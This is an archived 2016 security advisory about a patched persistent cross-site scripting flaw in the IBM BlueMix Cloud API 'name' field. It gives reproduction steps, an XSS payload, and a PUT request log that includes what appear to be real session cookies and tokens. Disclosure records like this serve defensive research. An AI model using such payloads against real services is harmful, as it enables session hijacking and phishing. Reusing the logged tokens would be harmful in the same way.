accept no compromises

IBM BlueMix Cloud Script Insertion

IBM BlueMix Cloud Script Insertion
Posted Jul 6, 2016
Authored by Digvijay Singh | Site

IBM BlueMix Cloud suffers from a client-side malicious script insertion vulnerability.

tags | exploit
MD5 | 4f68574b29f36f803aa87b56a6d8f4a8

IBM BlueMix Cloud Script Insertion

Change Mirror Download
Document Title:
IBM BlueMix Cloud - (API) Persistent Web Vulnerability

References (Source):

IBM Security Tracking ID: 5377-12593283

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
Bluemix is the latest cloud offering from IBM. It enables organizations and developers to quickly and easily create, deploy, and manage applications
on the cloud. Bluemix is an implementation of IBM's Open Cloud Architecture based on Cloud Foundry, an open source Platform as a Service (PaaS).
Bluemix delivers enterprise-level services that can easily integrate with your cloud applications without you needing to know how to install or
configure them. This article gives a high-level description of Cloud Foundry and Bluemix and outlines the features and services.

(copy of the Vendor Homepage: )

Abstract Advisory Information:
An independent vulnerability laboratory researcher discovered an application-side vulnerability in the official IBM BlueMix Cloud online service web-application.

Vulnerability Disclosure Timeline:
2016-05-17: Researcher Notification & Coordination (Digvijay Singh)
2016-05-18: Vendor Notification (IBM Security Research Team)
2016-05-28: Vendor Response or Feedback (IBM Security Research Team)
2016-07-01: Vendor Fix/Patch (IBM BlueMix Developer Team)
2016-07-04: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
Product: BlueMix Cloud - Online Service (Web-Application) 2016 Q2

Exploitation Technique:

Severity Level:

Technical Details & Description:
An application-side input validation web vulnerability has been discovered in the official IBM BlueMix Cloud online service web-application.
The vulnerability allows remote attackers to inject own malicious script codes to the application-side of the vulnerable module or function.

The vulnerability is located in the app `name` parameter of the vulnerable `api v2` module PUT request. Remote attackers and low privileged
web-application user accounts are able to inject own malicious script codes on the application-side of the vulnerable `create` module.
The inject request method is PUT and the attack vector is persistent on the application-side of the cloud online service. The injection
point of the issue is the vulnerable name input field and the execution point occurs in the `direct=classic/#/resources/` web context module.

The security risk of the application-side vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.7.
Exploitation of the persistent web vulnerability requires a low privileged web-application user account and low or medium user interaction.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to
malicious source and persistent manipulation of affected or connected application modules.

Request Method(s):
[+] PUT

Vulnerable Parameter(s):
[+] name - app

Affected Module(s):
[+] direct=classic/#/resources/

Proof of Concept (PoC):
The application-side vulnerability can be exploited by remote attackers with low privileged web-application user account and low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Exploitation

Manual steps to reproduce the vulnerability ...
1. Go to IBM blumix account
2. Now Click on service and API
3. Again click on Concept Insight and create a service.
4. Once the service created than go to that service.
5. Click on Service Credentials on left hand side
6. Click on Add credentials button and inject the XSS payload
Note: "><img src=x onerror=prompt(12)> and click on ADD button.
7. Once it will added XSS execute
8. Successful reproduce of the vulnerability!

Note: IBM bluemix is cloud based platform where a multiple user's can be signed in for single service with different level of privileged so the above XSS
can be used to exploit for all the same user who comes under the same service's with different level of privileged.
Please, recognize as well that the rename app function is vulnerable to the same issue!

--- PoC Session Logs [PUT] ---
Request: PUT /rest/v2/apps/22121446-442a-46f6-b110-42566cc1abe8?returnAppSummary=true HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0

IEVNSnyOcQ==;;; ace_login_status=%7B%22console%22%3A%7B%22state%22%3
%22bc59017c6f2e26ad8bb583e0fe5ac53449caab51eb6010698572ef5ecda3f655%22%7D%7D; optimizelyEndUserId=oeu1462875257878r0.3707376621913493; optimizelySegments=%7B%2227
%222762380326%22%3A%22false%22%2C%223081321317%22%3A%22none%22%7D; optimizelyBuckets=%7B%7D; ace_login_duration=1462875268612; opsConsole.sid=s%3AQnGOjW6P5TrcAUWADB
%2FhInr7vMa3wr6nFx0cVkLSUMiw; _csrf=8s_iscH_0TqG1ovs8SaKH6bL; BLUISS=e7d0c3fa169711e6aa88d17d5cfed7a0; Proxy___VCAP_ID__=ef375f9cccc744699186aa8a0ec1ddf8a607ca545765
Proxy_JSESSIONID=0000pJusl2L_t8cVKCUmxEcR8Lm:3c085306-e49a-458d-83b0-977d2c4169f2; cloudOE_orgGuid=%2247946af2-edbe-4a81-882a-2ba72b338a86%22; ace_orgGuid=%2247946af
2-edbe-4a81-882a-2ba72b338a86%22; cloudOE_spaceGuid=%2212a64eba-116d-
4cde-8baa-a8a2f8bff507%22; cloudOE_sectionOrder_v2=%5B%22appsSection%22%2C%22servicesSection%22%2C%22vmsSection%22%5D; cloudOE_hiddenSectionOrder_v2=%5B%22containersS
ection%22%5D; guidedExperienceIsOpen=false;
session$dc_region:eu-central-1%3Bexp-session; ajs_user_id=%22bb04e7e5-a4eb-4058-a711-d538d4559177%22; ajs_group_id=null; _ga=GA1.2.340011002.1462875290; cmTPSet=Y;
Mjg3NTMzMDAzNCwiZXZlbnRJZCI6NiwiaWRlbnRpZnlJZCI6Miwic2VxdWVuY2VOdW1iZXIiOjh9; CoreM_State=46~-1~-1~-1~-1~3~3~5~3~3~7~7~|~~|~~|~~|~||||||~|~~|~~|~~|~~|~~|~~|~~|~;
~4BD3AB2BDFD34568~5F32940836352E96~95D95425574ABB76~|~0~1~2; _gd_session=0788f17e-953b-40c8-8538-b2a32c84d3b0; ajs_anonymous_id=%2242d69dcb-33a9-472d-bafc-bcbbc86174be%22;
_gat=1; CMAVID=none;
_gd_visitor=sync6f76cd17da2c000098b43157d3010000ea4d0100; Alchemy.cookie.session=s%3AfKpNJqZDuHFJHhsgiwYKgGOSn2M-oEQ_.N5syPU%2BfoXEILLOT7gKgf1PI4dXhmgwcYnYKBl8RudU
HTTP/1.1 201 Created
{"guid":"22121446-442a-46f6-b110-42566cc1abe8","name":"test app<[PERSISTENT SCRIPT CODE EXECUTION!]>","routes":[{"guid":"1f834271-98c5-4fc4-ad07-d89a850c3f39",
bfc6ea23fca1","buildpack":null,"detected_buildpack":"SDK for Node.js(TM) (ibm-node.js-0.12.13, buildpack-v3.3-20160428-1409)","environment_json":{},
"enable_ssh":true,"docker_credentials_json":{"redacted_message":"[PRIVATE DATA


Solution - Fix & Patch:
2016-07-01: Vendor Fix/Patch (IBM BlueMix Developer Team)

Security Risk:
The security risk of the application-side cross site scripting vulnerability in the web-application is estimated as medium. (CVSS 3.7)

Credits & Authors:
Digvijay Singh - []

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied,
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage,
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains: - -
Contact: - -
Section: - -
Social: - -
Feeds: - -
Programs: - -

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific
authors or managers. To record, list, modify, use or edit our material contact (admin@ or to get a ask permission.

Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™



RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    15 Files
  • 2
    Oct 2nd
    16 Files
  • 3
    Oct 3rd
    15 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    11 Files
  • 6
    Oct 6th
    6 Files
  • 7
    Oct 7th
    2 Files
  • 8
    Oct 8th
    1 Files
  • 9
    Oct 9th
    13 Files
  • 10
    Oct 10th
    16 Files
  • 11
    Oct 11th
    15 Files
  • 12
    Oct 12th
    23 Files
  • 13
    Oct 13th
    13 Files
  • 14
    Oct 14th
    12 Files
  • 15
    Oct 15th
    2 Files
  • 16
    Oct 16th
    16 Files
  • 17
    Oct 17th
    16 Files
  • 18
    Oct 18th
    15 Files
  • 19
    Oct 19th
    10 Files
  • 20
    Oct 20th
    7 Files
  • 21
    Oct 21st
    4 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2016 Packet Storm. All rights reserved.

Security Services
Hosting By